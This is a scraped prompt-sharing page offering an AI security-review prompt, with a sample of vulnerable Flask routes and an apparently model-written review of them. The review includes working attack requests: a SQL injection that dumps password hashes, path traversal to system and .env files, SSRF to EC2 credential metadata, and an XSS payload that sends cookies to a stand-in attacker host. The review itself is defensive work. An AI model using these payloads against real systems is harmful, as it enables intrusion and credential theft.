\"}],[\"$\",\"a\",null,{\"href\":\"/agent-instructions.md\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"agent instructions\"}]]}],[\"$\",\"span\",\"/sitemap.xml\",{\"children\":[[\"$\",\"span\",null,{\"aria-hidden\":true,\"children\":\" · \"}],[\"$\",\"a\",null,{\"href\":\"/sitemap.xml\",\"className\":\"underline underline-offset-4 transition-colors hover:text-foreground\",\"children\":\"sitemap\"}]]}]]]}]\n19:[\"$\",\"$L23\",null,{}]\n1f:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}],[\"$\",\"meta\",\"2\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: light)\",\"content\":\"#ffffff\"}],[\"$\",\"meta\",\"3\",{\"name\":\"theme-color\",\"media\":\"(prefers-color-scheme: dark)\",\"content\":\"#0b0b12\"}]]\n"])</script><script>self.__next_f.push([1,"1d:null\n"])</script><script>self.__next_f.push([1,"21:[[\"$\",\"title\",\"0\",{\"children\":\"Security review of a code snippet with exploit-level detail | PromptAbide\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Review a code snippet for security flaws. Each finding names the CWE, the exact attacker request and the fixed code, plus what was checked and found safe.\"}],[\"$\",\"meta\",\"2\",{\"name\":\"application-name\",\"content\":\"PromptAbide\"}],[\"$\",\"meta\",\"3\",{\"name\":\"author\",\"content\":\"Vihaan Reddy\"}],[\"$\",\"link\",\"4\",{\"rel\":\"manifest\",\"href\":\"/manifest.webmanifest\",\"crossOrigin\":\"$undefined\"}],[\"$\",\"meta\",\"5\",{\"name\":\"keywords\",\"content\":\"ai security code review prompt,find vulnerabilities in flask code,check code for sql injection and ssrf,path traversal vulnerability example python,owasp review prompt for api endpoints,coding,code-review,web-development\"}],[\"$\",\"meta\",\"6\",{\"name\":\"robots\",\"content\":\"index, follow\"}],[\"$\",\"meta\",\"7\",{\"name\":\"googlebot\",\"content\":\"index, follow, max-video-preview:-1, max-image-preview:large, max-snippet:-1\"}],[\"$\",\"link\",\"8\",{\"rel\":\"canonical\",\"href\":\"https://promptabide.com/bides/security-review-code-snippet-with-exploits\"}],[\"$\",\"link\",\"9\",{\"rel\":\"alternate\",\"type\":\"text/markdown\",\"href\":\"https://promptabide.com/bides/security-review-code-snippet-with-exploits.md\"}],[\"$\",\"link\",\"10\",{\"rel\":\"alternate\",\"type\":\"application/json+oembed\",\"href\":\"https://promptabide.com/api/oembed?url=https%3A%2F%2Fpromptabide.com%2Fbides%2Fsecurity-review-code-snippet-with-exploits\"}],[\"$\",\"meta\",\"11\",{\"property\":\"og:title\",\"content\":\"Security review of a code snippet with exploit-level detail\"}],[\"$\",\"meta\",\"12\",{\"property\":\"og:description\",\"content\":\"Result: SQL injection (CWE-89): critical GET /search?q=' UNION SELECT id, email ':' password_hash FROM users-- dumps the users table… — Tested on Claude · Opus 5.5 · by @vihaan_reddy · on PromptAbide\"}],[\"$\",\"meta\",\"13\",{\"property\":\"og:url\",\"content\":\"https://promptabide.com/bides/security-review-code-snippet-with-exploits\"}],[\"$\",\"meta\",\"14\",{\"property\":\"og:site_name\",\"content\":\"PromptAbide\"}],[\"$\",\"meta\",\"15\",{\"property\":\"og:locale\",\"content\":\"en_US\"}],[\"$\",\"meta\",\"16\",{\"property\":\"og:image\",\"content\":\"https://promptabide.com/api/og?kind=bide\u0026title=Security+review+of+a+code+snippet+with+exploit-level+detail\u0026subtitle=Review+a+code+snippet+for+security+flaws.+Each+finding+names+the+CWE%2C+the+exact+attacker+request+and+the+fixed+code%2C+plus+what+was+checked+and+found+safe.\u0026author=%40vihaan_reddy\u0026avatar=https%3A%2F%2Fres.cloudinary.com%2Ftlnow5al%2Fimage%2Fupload%2Fv1787380812%2Fpromptabide%2Fprofiles%2Fimages%2Fvihaan_reddy.jpg\u0026result=SQL+injection+%28CWE-89%29%3A+critical+GET+%2Fsearch%3Fq%3D%27+UNION+SELECT+id%2C+email+%27%3A%27+password_hash+FROM+users--+dumps+the+users+table+into+the+results+page%2C%E2%80%A6\u0026model=Claude+%C2%B7+Opus+5.5\"}],[\"$\",\"meta\",\"17\",{\"property\":\"og:image:width\",\"content\":\"1200\"}],[\"$\",\"meta\",\"18\",{\"property\":\"og:image:height\",\"content\":\"630\"}],[\"$\",\"meta\",\"19\",{\"property\":\"og:image:alt\",\"content\":\"Security review of a code snippet with exploit-level detail\"}],[\"$\",\"meta\",\"20\",{\"property\":\"og:image:type\",\"content\":\"image/png\"}],[\"$\",\"meta\",\"21\",{\"property\":\"og:type\",\"content\":\"article\"}],[\"$\",\"meta\",\"22\",{\"property\":\"article:published_time\",\"content\":\"2026-09-20T23:50:56.804Z\"}],[\"$\",\"meta\",\"23\",{\"property\":\"article:modified_time\",\"content\":\"2026-09-24T05:54:57.177Z\"}],[\"$\",\"meta\",\"24\",{\"property\":\"article:author\",\"content\":\"Vihaan Reddy\"}],[\"$\",\"meta\",\"25\",{\"property\":\"article:tag\",\"content\":\"coding\"}],[\"$\",\"meta\",\"26\",{\"property\":\"article:tag\",\"content\":\"code-review\"}],[\"$\",\"meta\",\"27\",{\"property\":\"article:tag\",\"content\":\"web-development\"}],[\"$\",\"meta\",\"28\",{\"name\":\"twitter:card\",\"content\":\"summary_large_image\"}],[\"$\",\"meta\",\"29\",{\"name\":\"twitter:site\",\"content\":\"@promptabide\"}],[\"$\",\"meta\",\"30\",{\"name\":\"twitter:creator\",\"content\":\"@promptabide\"}],[\"$\",\"meta\",\"31\",{\"name\":\"twitter:title\",\"content\":\"Security review of a code snippet with exploit-level detail\"}],\"$L24\",\"$L25\",\"$L26\",\"$L27\",\"$L28\",\"$L29\"]\n"])</script><script>self.__next_f.push([1,"2a:I[27201,[\"/_next/static/chunks/ff1a16fafef87110.js\",\"/_next/static/chunks/650b0d2d0b895b93.js\"],\"IconMark\"]\n24:[\"$\",\"meta\",\"32\",{\"name\":\"twitter:description\",\"content\":\"Result: SQL injection (CWE-89): critical GET /search?q=' UNION SELECT id, email ':' password_hash FROM users-- dumps the users table… — Tested on Claude · Opus 5.5 · by @vihaan_reddy · on PromptAbide\"}]\n25:[\"$\",\"meta\",\"33\",{\"name\":\"twitter:image\",\"content\":\"https://promptabide.com/api/og?kind=bide\u0026title=Security+review+of+a+code+snippet+with+exploit-level+detail\u0026subtitle=Review+a+code+snippet+for+security+flaws.+Each+finding+names+the+CWE%2C+the+exact+attacker+request+and+the+fixed+code%2C+plus+what+was+checked+and+found+safe.\u0026author=%40vihaan_reddy\u0026avatar=https%3A%2F%2Fres.cloudinary.com%2Ftlnow5al%2Fimage%2Fupload%2Fv1787380812%2Fpromptabide%2Fprofiles%2Fimages%2Fvihaan_reddy.jpg\u0026result=SQL+injection+%28CWE-89%29%3A+critical+GET+%2Fsearch%3Fq%3D%27+UNION+SELECT+id%2C+email+%27%3A%27+password_hash+FROM+users--+dumps+the+users+table+into+the+results+page%2C%E2%80%A6\u0026model=Claude+%C2%B7+Opus+5.5\"}]\n26:[\"$\",\"link\",\"34\",{\"rel\":\"icon\",\"href\":\"/favicon.ico?favicon.6c31f764.ico\",\"sizes\":\"1500x1500\",\"type\":\"image/x-icon\"}]\n27:[\"$\",\"link\",\"35\",{\"rel\":\"icon\",\"href\":\"/assets/images/dark-small-logo.png\"}]\n28:[\"$\",\"link\",\"36\",{\"rel\":\"apple-touch-icon\",\"href\":\"/assets/images/dark-small-logo.png\"}]\n29:[\"$\",\"$L2a\",\"37\",{}]\n"])</script><script>self.__next_f.push([1,"2b:I[5440,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\",\"/_next/static/chunks/7e7b145973490ea1.js\",\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"/_next/static/chunks/28edb5901d2abc70.js\",\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"/_next/static/chunks/ed7006c488f1e92d.js\",\"/_next/static/chunks/a6ee48ace3a6e933.js\",\"/_next/static/chunks/31413010d6a2b8c9.js\",\"/_next/static/chunks/d586b1a866178a4f.js\",\"/_next/static/chunks/4f191beb098a85e1.js\",\"/_next/static/chunks/323ba1f1fa583a44.js\"],\"default\"]\n2d:I[69029,[\"/_next/static/chunks/abd0dfcfef04b2e9.js\",\"/_next/static/chunks/3e0e0179a08e5c60.js\",\"/_next/static/chunks/830b32cf0cb19e03.js\",\"/_next/static/chunks/1ddc6e9240043f72.js\",\"/_next/static/chunks/7e7b145973490ea1.js\",\"/_next/static/chunks/0ac2c33f74cfed15.js\",\"/_next/static/chunks/28edb5901d2abc70.js\",\"/_next/static/chunks/d027e2eb8c4a697f.js\",\"/_next/static/chunks/c7c107dda98cc8f9.js\",\"/_next/static/chunks/ae2c3ad07e9699f5.js\",\"/_next/static/chunks/2357d3f5d9ca1332.js\",\"/_next/static/chunks/ed7006c488f1e92d.js\",\"/_next/static/chunks/a6ee48ace3a6e933.js\",\"/_next/static/chunks/31413010d6a2b8c9.js\",\"/_next/static/chunks/d586b1a866178a4f.js\",\"/_next/static/chunks/4f191beb098a85e1.js\",\"/_next/static/chunks/323ba1f1fa583a44.js\"],\"default\"]\n2c:T9cc,"])</script><script>self.__next_f.push([1,"{\"@context\":\"https://schema.org\",\"@type\":\"Article\",\"headline\":\"Security review of a code snippet with exploit-level detail\",\"description\":\"Review a code snippet for security flaws. Each finding names the CWE, the exact attacker request and the fixed code, plus what was checked and found safe.\",\"abstract\":\"Developers shipping web endpoints who want a focused security pass on specific handlers before release or after a scare.\",\"image\":[\"https://promptabide.com/api/og?kind=bide\u0026title=Security+review+of+a+code+snippet+with+exploit-level+detail\u0026author=%40vihaan_reddy\u0026avatar=https%3A%2F%2Fres.cloudinary.com%2Ftlnow5al%2Fimage%2Fupload%2Fv1787380812%2Fpromptabide%2Fprofiles%2Fimages%2Fvihaan_reddy.jpg\u0026result=SQL+injection+%28CWE-89%29%3A+critical+GET+%2Fsearch%3Fq%3D%27+UNION+SELECT+id%2C+email+%27%3A%27+password_hash+FROM+users--+dumps+the+users+table+into+the+results+page%2C%E2%80%A6\u0026model=Claude+%C2%B7+Opus+5.5\"],\"url\":\"https://promptabide.com/bides/security-review-code-snippet-with-exploits\",\"mainEntityOfPage\":{\"@type\":\"WebPage\",\"@id\":\"https://promptabide.com/bides/security-review-code-snippet-with-exploits\"},\"isPartOf\":{\"@id\":\"https://promptabide.com/#website\"},\"inLanguage\":\"en\",\"isAccessibleForFree\":true,\"datePublished\":\"2026-09-20T23:50:56.804Z\",\"dateModified\":\"2026-09-24T05:54:57.177Z\",\"keywords\":\"ai security code review prompt, find vulnerabilities in flask code, check code for sql injection and ssrf, path traversal vulnerability example python, owasp review prompt for api endpoints, coding, code-review, web-development\",\"about\":[{\"@type\":\"DefinedTerm\",\"name\":\"coding\",\"url\":\"https://promptabide.com/topics/coding\"},{\"@type\":\"DefinedTerm\",\"name\":\"code-review\",\"url\":\"https://promptabide.com/topics/code-review\"},{\"@type\":\"DefinedTerm\",\"name\":\"web-development\",\"url\":\"https://promptabide.com/topics/web-development\"}],\"mentions\":[{\"@type\":\"SoftwareApplication\",\"name\":\"Claude (Opus 5.5)\",\"applicationCategory\":\"AI model\",\"url\":\"https://promptabide.com/models/claude\"}],\"author\":{\"@type\":\"Person\",\"name\":\"Vihaan Reddy\",\"url\":\"https://promptabide.com/vihaan_reddy\"},\"publisher\":{\"@type\":\"Organization\",\"name\":\"PromptAbide\",\"url\":\"https://promptabide.com\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://promptabide.com/assets/images/logo.png\"}},\"interactionStatistic\":[{\"@type\":\"InteractionCounter\",\"interactionType\":\"https://schema.org/LikeAction\",\"userInteractionCount\":11},{\"@type\":\"InteractionCounter\",\"interactionType\":\"https://schema.org/CommentAction\",\"userInteractionCount\":0}]}"])</script><script>self.__next_f.push([1,"2e:T408,untrusted_sources: query strings, path parameters, and any URL a user submits\ncontext: Flask app behind nginx on AWS EC2, Postgres on RDS, multi-tenant (each customer only sees their own invoices). Logged-in users are customers of our SaaS.\ncode:\n```python\n@app.route(\"/invoices/\u003cinvoice_id\u003e/download\")\n@login_required\ndef download_invoice(invoice_id):\n filename = request.args.get(\"file\", f\"{invoice_id}.pdf\")\n path = os.path.join(\"/srv/app/invoices\", filename)\n return send_file(path)\n\n@app.route(\"/api/link-preview\")\n@login_required\ndef link_preview():\n url = request.args[\"url\"]\n resp = requests.get(url, timeout=5)\n title = re.search(r\"\u003ctitle\u003e(.*?)\u003c/title\u003e\", resp.text, re.S)\n return {\"title\": title.group(1) if title else None, \"status\": resp.status_code}\n\n@app.route(\"/search\")\ndef search():\n q = request.args.get(\"q\", \"\")\n rows = db.execute(f\"SELECT id, name FROM products WHERE name ILIKE '%{q}%'\").fetchall()\n return f\"\u003ch2\u003eResults for {q}\u003c/h2\u003e\" + \"\".join(f\"\u003cp\u003e{r.name}\u003c/p\u003e\" for r in rows)\n```2f:Ta16,"])</script><script>self.__next_f.push([1,"**1. SQL injection (CWE-89): critical**\n`GET /search?q=' UNION SELECT id, email || ':' || password_hash FROM users--` dumps the users table into the results page, with no login needed.\n```python\npattern = \"%\" + q.replace(\"\\\\\", \"\\\\\\\\\").replace(\"%\", \"\\\\%\").replace(\"_\", \"\\\\_\") + \"%\"\nrows = db.execute(\n \"SELECT id, name FROM products WHERE name ILIKE %s\", (pattern,)\n).fetchall()\n```\n\n**2. Path traversal (CWE-22) and missing authorization (CWE-639): critical**\n`GET /invoices/1/download?file=../../../etc/passwd` reads arbitrary files. `?file=/srv/app/.env` works too: `os.path.join` discards the base when the second argument is absolute. Separately, `?file=\u003cother_customer_invoice\u003e.pdf` (or just another `invoice_id`) downloads another tenant's invoice, because nothing checks ownership.\n```python\ninv = Invoice.query.filter_by(id=invoice_id, account_id=current_user.account_id).first_or_404()\nreturn send_from_directory(\"/srv/app/invoices\", f\"{inv.id}.pdf\")\n```\nDrop the `file` parameter entirely.\n\n**3. Server-side request forgery (CWE-918): high, depending on your setup**\n`GET /api/link-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/` asks your server to fetch the EC2 metadata service. If the instance allows IMDSv1, the response's `status` and any `\u003ctitle\u003e` leak information, and internal services on the VPC become reachable. Varying the host and port turns the `status` field into a port scanner. **What decides severity:** whether IMDSv2 is enforced (`HttpTokens=required`) and what's reachable inside the VPC.\nFix: allow only `http`/`https`, resolve the hostname and reject private, loopback and link-local addresses, set `allow_redirects=False` (or re-check every hop), and cap the body size by streaming. Better, run previews from an isolated worker with no VPC access.\n\n**4. Reflected cross-site scripting (CWE-79): high**\n`/search?q=\u003cscript\u003efetch('//evil.example/?c='+document.cookie)\u003c/script\u003e` runs in the victim's browser. Product names are also unescaped (stored XSS if sellers can edit them).\n```python\nreturn render_template(\"search.html\", q=q, rows=rows) # Jinja autoescapes\n```\n\n**5. Unbounded response read (CWE-400): low**\n`resp.text` loads any size of page into memory. Use `stream=True` and read at most about 1 MB.\n\n**Checked and found safe**\n- `login_required` is present on the download and preview routes.\n- A request timeout is set on the preview fetch.\n- The title regex is non-greedy with no nested quantifiers, so there's no ReDoS risk.\n- `/search` being public looks intentional, and fine once 1 and 4 are fixed."])</script><script>self.__next_f.push([1,"1a:[\"$\",\"$L2b\",null,{\"children\":[[[\"$\",\"script\",null,{\"type\":\"application/ld+json\",\"dangerouslySetInnerHTML\":{\"__html\":\"$2c\"}}],[\"$\",\"script\",null,{\"type\":\"application/ld+json\",\"dangerouslySetInnerHTML\":{\"__html\":\"{\\\"@context\\\":\\\"https://schema.org\\\",\\\"@type\\\":\\\"BreadcrumbList\\\",\\\"itemListElement\\\":[{\\\"@type\\\":\\\"ListItem\\\",\\\"position\\\":1,\\\"name\\\":\\\"Home\\\",\\\"item\\\":\\\"https://promptabide.com/\\\"},{\\\"@type\\\":\\\"ListItem\\\",\\\"position\\\":2,\\\"name\\\":\\\"Bides\\\",\\\"item\\\":\\\"https://promptabide.com/bides\\\"},{\\\"@type\\\":\\\"ListItem\\\",\\\"position\\\":3,\\\"name\\\":\\\"Security review of a code snippet with exploit-level detail\\\",\\\"item\\\":\\\"https://promptabide.com/bides/security-review-code-snippet-with-exploits\\\"}]}\"}}]],[\"$\",\"$L2d\",null,{\"slug\":\"security-review-code-snippet-with-exploits\",\"initialPost\":{\"id\":87,\"title\":\"Security review of a code snippet with exploit-level detail\",\"slug\":\"security-review-code-snippet-with-exploits\",\"description\":\"Review a code snippet for security flaws. Each finding names the CWE, the exact attacker request and the fixed code, plus what was checked and found safe.\",\"content\":\"Do a security review of this code. Assume an attacker controls every value that comes from {{untrusted_sources}}.\\n\\nCode:\\n{{code}}\\n\\nDeployment context: {{context}}\\n\\nFor each issue:\\n- Name (use the CWE name where one fits) and severity: critical / high / medium / low\\n- The exact attacker input or request that exploits it, and what the attacker gets\\n- The fix, as code\\n\\nRules:\\n- Order by severity.\\n- Don't report theoretical issues that require the attacker to already have server access.\\n- If you're unsure whether something is exploitable in my deployment, say so and say what would decide it.\\n\\nFinish with a short list of what you checked and found safe, so I know what was covered.\",\"keywords\":[\"ai security code review prompt\",\"find vulnerabilities in flask code\",\"check code for sql injection and ssrf\",\"path traversal vulnerability example python\",\"owasp review prompt for api endpoints\"],\"tags\":[\"coding\",\"code-review\",\"web-development\"],\"author_id\":3,\"status\":\"published\",\"visibility\":\"public\",\"view_count\":81,\"like_count\":11,\"dislike_count\":1,\"comment_count\":0,\"share_count\":14,\"output\":true,\"best_for\":\"Developers shipping web endpoints who want a focused security pass on specific handlers before release or after a scare.\",\"why_it_works\":\"Demanding **the exact attacker request** separates real vulnerabilities from checklist noise. Every finding here comes with a URL you could paste into a browser to reproduce it. **Deployment context** is what lets the model grade SSRF on AWS properly and name the deciding factor (IMDSv2). The instruction to **say what would decide exploitability** stops it from inflating or waving away findings. **\\\"Checked and found safe\\\"** tells you the coverage, so a short report reads as clean rather than lazy.\",\"when_not_to_use\":\"It isn't a penetration test or an audit. It only sees the snippet, so auth middleware, ORM settings, CSP headers and infrastructure rules are invisible to it. Use it on your own code or with permission. For compliance work (PCI DSS, SOC 2) or anything handling payments, pair it with a SAST tool and a qualified human reviewer.\",\"example_input\":\"$2e\",\"variables\":[{\"name\":\"untrusted_sources\",\"example\":\"Query strings, path parameters, and any URL a user submits\",\"description\":\"Where attacker-controlled data enters\"},{\"name\":\"code\",\"example\":\"Three Flask routes: invoice download, link preview, product search\",\"description\":\"The code to review\"},{\"name\":\"context\",\"example\":\"Flask behind nginx on AWS EC2, Postgres on RDS, multi-tenant\",\"description\":\"How and where it's deployed, plus relevant infrastructure\"}],\"copy_count\":4,\"created_at\":\"2026-09-20T23:50:56.804Z\",\"updated_at\":\"2026-09-24T05:54:57.177Z\",\"deleted_at\":null,\"author\":{\"id\":3,\"username\":\"vihaan_reddy\",\"first_name\":\"Vihaan\",\"last_name\":\"Reddy\",\"profile_picture\":\"https://res.cloudinary.com/tlnow5al/image/upload/v1787380812/promptabide/profiles/images/vihaan_reddy.jpg\"},\"attachments\":[],\"outputs\":[{\"id\":82,\"post_id\":87,\"output_content\":\"$2f\",\"tool_name\":\"Claude\",\"model_name\":\"Opus 5.5\",\"created_at\":\"2026-09-24T05:54:57.469Z\",\"updated_at\":\"2026-09-24T05:54:57.469Z\",\"attachments\":[]}],\"user_liked\":false,\"user_disliked\":false,\"user_saved\":false}}],\"$L30\"]}]\n"])</script><script>self.__next_f.push([1,"30:[\"$\",\"section\",null,{\"aria-labelledby\":\"related-bides-heading\",\"className\":\"container mx-auto max-w-3xl px-4 pb-10\",\"children\":[[\"$\",\"h2\",null,{\"id\":\"related-bides-heading\",\"className\":\"mb-3 text-sm font-semibold text-muted-foreground\",\"children\":\"More bides on these topics\"}],[\"$\",\"ul\",null,{\"className\":\"grid gap-2 sm:grid-cols-2\",\"children\":[[\"$\",\"li\",\"review-rest-api-design-before-building\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/review-rest-api-design-before-building\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Review a REST API design before any client depends on it\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Check a draft API against seven questions (naming, idempotency, pagination, errors, versioning, auth) and…\"}],[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#coding #web-development #code-review\"}]]}]}],[\"$\",\"li\",\"code-review-with-severity-rubric\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/code-review-with-severity-rubric\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Code review with a blocker/major/minor severity rubric\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Get an AI code review that sorts every finding into blocker, major, minor or nit, gives a triggering input…\"}],[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#coding #code-review #debugging\"}]]}]}],[\"$\",\"li\",\"review-gate-for-coding-agent-diff\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/review-gate-for-coding-agent-diff\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Review gate for a coding agent's diff before you merge it\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Check an AI agent's diff against its own summary: scope creep, unbacked claims, skipped or weakened tests,…\"}],[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#ai-agents #code-review #testing\"}]]}]}],[\"$\",\"li\",\"explain-then-edit-protocol-coding-agents\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/explain-then-edit-protocol-coding-agents\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Explain-then-edit protocol for Claude Code and Codex tasks\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Make a coding agent explain the current code, its planned edits, risks and open questions, then stop for…\"}],[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#claude-code #ai-agents #coding\"}]]}]}],[\"$\",\"li\",\"commit-message-and-pr-description-from-diff\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/commit-message-and-pr-description-from-diff\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Write a commit message and PR description from a diff\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Turn a raw diff into a Conventional Commits message and a structured PR description, with questions for…\"}],\"$L31\"]}]}],\"$L32\"]}]]}]\n"])</script><script>self.__next_f.push([1,"31:[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#coding #code-review #writing\"}]\n32:[\"$\",\"li\",\"optimize-slow-sql-query-from-explain-plan\",{\"children\":[\"$\",\"$Lf\",null,{\"href\":\"/bides/optimize-slow-sql-query-from-explain-plan\",\"className\":\"block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40\",\"children\":[[\"$\",\"span\",null,{\"className\":\"line-clamp-2 text-sm font-medium\",\"children\":\"Speed up a slow SQL query from its EXPLAIN ANALYZE plan\"}],[\"$\",\"span\",null,{\"className\":\"mt-1 line-clamp-2 block text-xs text-muted-foreground\",\"children\":\"Paste a slow query, its plan and indexes. Get the costliest step named, rewrites and index changes ranked by…\"}],[\"$\",\"span\",null,{\"className\":\"mt-2 block truncate text-[11px] text-muted-foreground\",\"children\":\"#coding #data-analysis #web-development\"}]]}]}]\n"])</script></body></html>